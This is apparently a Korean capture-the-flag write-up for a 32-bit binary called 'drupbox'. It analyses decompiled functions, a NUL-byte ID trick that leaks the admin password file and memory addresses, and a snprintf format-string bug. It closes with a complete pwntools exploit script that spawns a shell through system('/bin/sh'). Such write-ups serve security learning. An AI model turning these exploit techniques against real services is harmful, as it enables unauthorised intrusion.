문제


drupbox 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

file 명령어 결과는 다음과 같다.

drupbox: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ec0a64452c1c8ddb7b9789a574ca93fcf41dbdba, not stripped

바이너리 코드 userRegister()

...
  chdir("./accounts/");
...
  printf("userid : ");
  v0 = read(0, buf, 0x100u) - 1;
  printf("userpw : ");
  n = read(0, v8, 0x100u) - 1;
  buf[v0] = 0;
  v8[n] = 0;
  v1 = strlen(buf);
  mMD5(buf, v1, &s);
  fd = open(&s, 0);
  if ( fd == -1 )
  {
    v2 = open(&s, 65, 432);
    write(v2, v8, n);
    close(v2);
    sprintf(&path, "../users/%s/", &s);
    mkdir(&path, 0x1F0u);
    chdir("../");
  }
  else
  {
    puts("ID duplicated!");
    close(fd);
  }

userLogin()

...
  chdir("./accounts/");
... 
  printf("userid : ");
  n = read(0, buf, 0x100u) - 1;
  printf("userpw : ");
  v0 = read(0, s1, 0x100u) - 1;
  buf[n] = 0;
  s1[v0] = 0;
  v1 = strlen(buf);
  mMD5(buf, v1, &s);
  fd = open(&s, 0);
  if ( fd == -1 )
  {
    puts("ID doesn't exist!");
    result = 0;
  }
  else
  {
    read(fd, &s2, 0x100u);
    close(fd);
    if ( !strcmp(s1, &s2) )
    {
      mMD5(buf, n, &s);
      sprintf(&path, "../users/%s/", &s);
      chdir(&path);
      memcpy(&loginId, buf, n);
      result = 1;
    }
    else
    {
      chdir("../");
      result = 0;
    }
  }
...

DownloadFile()

...
  s[read(0, s, 0x7Fu) - 1] = 0;
...
  fd = open(s, 0);
  if ( fd == -1 )
  {
    puts("File doesn't exist");
  }
  else
  {
    read(fd, &buf, 0x400u);
    write(1, &buf, 0x400u);
    close(fd);
  }

userRegister 함수는 이름 그대로 사용자를 등록하는 함수이다. 이 함수에서는 ID의 MD5 해쉬값으로 accounts 디렉토리에 password를 저장하는 파일을 만든다. 그리고 users 디렉토리에 동일한 이름의 디렉토리를 만든다.

userLogin 함수는 password를 검증한 후에 /drupbox/users/MD5_해쉬값 디렉토리로 이동한다.

취약점

userRegister에서 파일과 디렉토리를 생성할 때는 mMD5(ID,strlen(ID),&s)의 결과값으로 만들지만 password 검증 후에 디렉토리를 바꿀 때는 mMD5(ID, read함수의 return 값 -1,&s) 의 결과값으로 변경한다.

따라서 ID가 1_4m_3ffr3s\x00_1_w4nt_admin와 같으면 userRegister 함수에서 파일과 디렉토리는 1_4m_3ffr3s의 해쉬값으로 만들어지지만 로그인 이후에는 1_4m_3ffr3s\x00_1_w4nt_admin의 해쉬값 디렉토리로 이동하는 명령어를 실행한다. 해당 디렉토리는 존재하지 않기 때문에 chdir 명령어는 실패하고 /drupbox/account 디렉토리에 머물게 된다.

=> 이를 이용하면 DownloadFile에서 admin 계정의 password 파일을 읽어올 수 있다. 또한 DownloadFile에서 buf를 0으로 초기화 하지 않기 때문에 write 함수를 통해 stack 있는 값들을 읽어올 수 있다. (libc_base, stack 주소, bss 영역 주소 leak 가능)

vuln()

...
  read(0, &s, 0xDu);
...
  snprintf((char *)&fsb, 0x14u, &s);
  return __readgsdword(0x14u) ^ v3;
...

취약점

snprintf 함수에 format string buf가 존재한다.

exploit 방법

  1. userLogin에 존재하는 취약점을 이용하기 위해서 ID+NULL+something 과 같은 ID를 생성한다.
  2. 생성한 ID로 로그인을 한 이후에 DownloadFile에서 admin의 password가 저장되어 있는 파일을 읽는다. 그와 동시에 stack에 있는 값을 이용해 leak을 한다.
  3. vuln에서 fsb를 이용한다.

vuln의 fsb 함수에서 s에 넣을 수 있는 값이 13바이트 밖에 안된다. 처음에는 sfp 값을 loginID (.bss 영역에 존재, ID를 ID+NULL+system+”AAAA”+sh주소로 구성)의 주소값으로 바꾸려고 했다. 그런데 주소가 0x5XXXXXXX였다. 10자리 숫자여서 불가능… 그러다가 password를 read하는 버퍼의 주소가 sfp와 뒤에 두 바이트 값만 다른 것을 알게 되었다.

=> DownloadFile에서 stack 주소를 leak 할 수 있고 이 값을 이용해서 password가 저장되어 있는 buf의 주소를 알 수 있다.

(password를 password+”NULL”+”AA”+system+”AAAA”+sh의 주소로 구성)

그리고 %hn을 통해서 이 값을 sfp에 덮어쓰면 쉘을 획득할 수 있다.

풀이


#!/usr/bin/python

from pwn import *

def sd_id_pw(id,pw):
	p.recvuntil("userid : ")
	p.sendline(id)
	p.recvuntil("userpw : ")
	p.sendline(pw)

def login_reg(num):
	p.recvuntil("Exit\n")
	p.send(num)

def after_login(num):
	p.recvuntil("Logout\n") 
	p.send(num)


file_path="/home/sungyun/round2/drupbox/drupbox"

id="1_4m_3ffr3s\x00_1_w4nt_admin"
passwd="try_h4rder"
MD5_admin="21232f297a57a5a743894a0e4a801fc3"

p=process(file_path)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

"""
userRegister

login_reg("2")
sd_id_pw(id,passwd)
"""

login_reg("1")
sd_id_pw(id,passwd)

after_login("2")
p.recvuntil("filename : ")

p.sendline(MD5_admin)

admin_pw=p.recv(0x340)
admin_pw=admin_pw[:admin_pw.find("\x00")]

stdout=u32(p.recv(4))
p.recv(68)
string=u32(p.recv(4)) # 1. Upload file ~

p.recv(112)
stack_addr=u32(p.recv(2)+"\x00\x00")

#stack_addr=u32(p.recv(4))

loginID=string-0x18e4+0x30a0
libc_base=stdout-0x001b2d60
system=libc_base+libc.symbols['system']
sh=libc_base+list(libc.search('/bin/sh\x00'))[0]

after_login("4")
login_reg("1")

exploit_pw=admin_pw+"\x00"+"A"*2+p32(system)+"AAAA"+p32(sh)
exploit_pw_addr=stack_addr-0x318

sd_id_pw("admin",exploit_pw)

after_login("5")
p.recvuntil("log : ")

pay="%"+str(exploit_pw_addr)+"d"+"%12$hn"
p.send(pay)

p.interactive()

알게 된 것


  1. Xinetd 데몬은 표준 입출력의 주체가 서버에 접속한 클라이언트이다.
    standalone 환경의 서비스 데몬은 클라이언트의 통신을 표준 입출력이 아니라 socket을 생성하고 send(), recv()로 데이터 입출력을 한다.